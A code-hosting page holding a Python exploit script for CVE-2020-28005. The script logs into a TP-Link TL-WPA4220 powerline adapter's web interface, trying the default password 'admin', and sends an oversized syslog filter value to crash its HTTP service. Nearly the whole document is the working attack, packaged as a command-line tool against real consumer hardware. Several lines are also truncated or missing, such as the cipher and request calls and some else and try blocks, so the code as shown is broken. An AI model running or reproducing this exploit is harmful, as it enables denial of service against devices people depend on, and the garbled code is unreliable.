Skip to content
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
Cannot retrieve contributors at this time
#!/bin/env python3
# Exploit Title: TP-Link WPA4220 DoS Exploit (Buffer Overflow)
# Date: 2020-11-17
# Exploit Author: Oriol Castejon @foolisses
# Vendor Homepage:
# Software Link:
# Version: TL-WPA4220(EU)_V4_190326
# CVE : CVE-2020-28005
import argparse
import base64
import hashlib
import json
import requests
from Crypto.Cipher import AES
# These parameters are set by the browser, so we can decide their value
key = b'1595026205026583'
iv = b'1595026205026193'
def rsa_encrypt(plaintext):
encrypted = ''
for i in range(len(plaintext) // 64 + 1):
block = plaintext[i * 64:(i + 1) * 64]
encoded = [format(ord(c), 'x') for c in block] + ['00'] * (64 - len(block))
encoded = int("".join(encoded), 16)
encrypted_block = pow(encoded, e, n)
encrypted += format(encrypted_block, 'x')
if len(encrypted) % 2 == 1:
encrypted = '0' + encrypted
return encrypted
def aes_encrypt(plaintext):
padded = pad(plaintext)
cipher =, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded.encode())
return base64.b64encode(encrypted).decode('utf-8')
def aes_decrypt(encrypted):
cipher =, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(base64.b64decode(encrypted))
return plaintext[:-ord(plaintext[len(plaintext) - 1:])].decode('utf-8')
def pad(plaintext):
pad = AES.block_size - len(plaintext) % AES.block_size
return plaintext + pad * chr(pad)
def get_rsa_pubkey_seq(target):
r ="http://{}/login?form=auth".format(target), data={"operation": "read"})
r = r.json()
if not r.get("success"):
print("[!] Something went wrong, couldn't retrieve RSA public key")
return False, False, False
n = int(r["data"]["key"][0], 16)
e = int(r["data"]["key"][1], 16)
seq = int(r["data"]["seq"])
return n, e, seq
def send_encrypted_request(target, path, plaintext_data, password, is_login=False):
url = "http://{}{}".format(target, path)
encrypted_data = aes_encrypt(plaintext_data)
m = hashlib.md5()
password_hash = m.hexdigest()
if is_login:
sign = rsa_encrypt("k={}&i={}&h={}&s={}".format(key.decode('utf-8'), iv.decode('utf-8'), password_hash,
seq + len(encrypted_data)))
sign = rsa_encrypt("h={}&s={}".format(password_hash, seq + len(encrypted_data)))
data = {
"sign": sign,
"data": encrypted_data
headers = {
"Host": target,
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://{}".format(target),
"Connection": "close",
"Referer": "http://{}/".format(target),
"Cookie": "Authorization="
r =, data=data, headers=headers)
encrypted_data = r.json().get("data")
response = aes_decrypt(encrypted_data)
if is_login and not json.loads(response).get("success"):
return False
except Exception as ex:
print("There was some error, could not decrypt response. Error: {}".format(ex))
return False
return True
def login(target, password):
print("[+] Logging in with password: {}".format(password))
if send_encrypted_request(target, "/login?form=login", "operation=login&password={}".format(rsa_encrypt(password)),
password, True):
print("[+] Login executed successfully")
print("[!] Login failed!")
return False
return True
def exploit(target, password):
print("[+] Sending exploit. This will take a some seconds, please be patient!")
send_encrypted_request(target, "/admin/syslog?form=filter", "operation=write&type={}".format("A" * 64), password)
print("[+] Exploit has been sent. HTTP service should have crashed.")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='DoS exploit for the TL-WPA4220 (Buffer Overflow)')
parser.add_argument('target', type=str, metavar='target', help='IP of the TL-WPA4220 device')
parser.add_argument('-p', '--password', type=str, metavar='password',
help='Password of the TL-WPA4220 Web interface (default: admin)', default='admin')
args = parser.parse_args()
print("[+] Getting RSA public key of the device")
n, e, seq = get_rsa_pubkey_seq(
if n and e and seq:
print("[+] RSA public key correctly obtained")
if login(, args.password):
exploit(, args.password)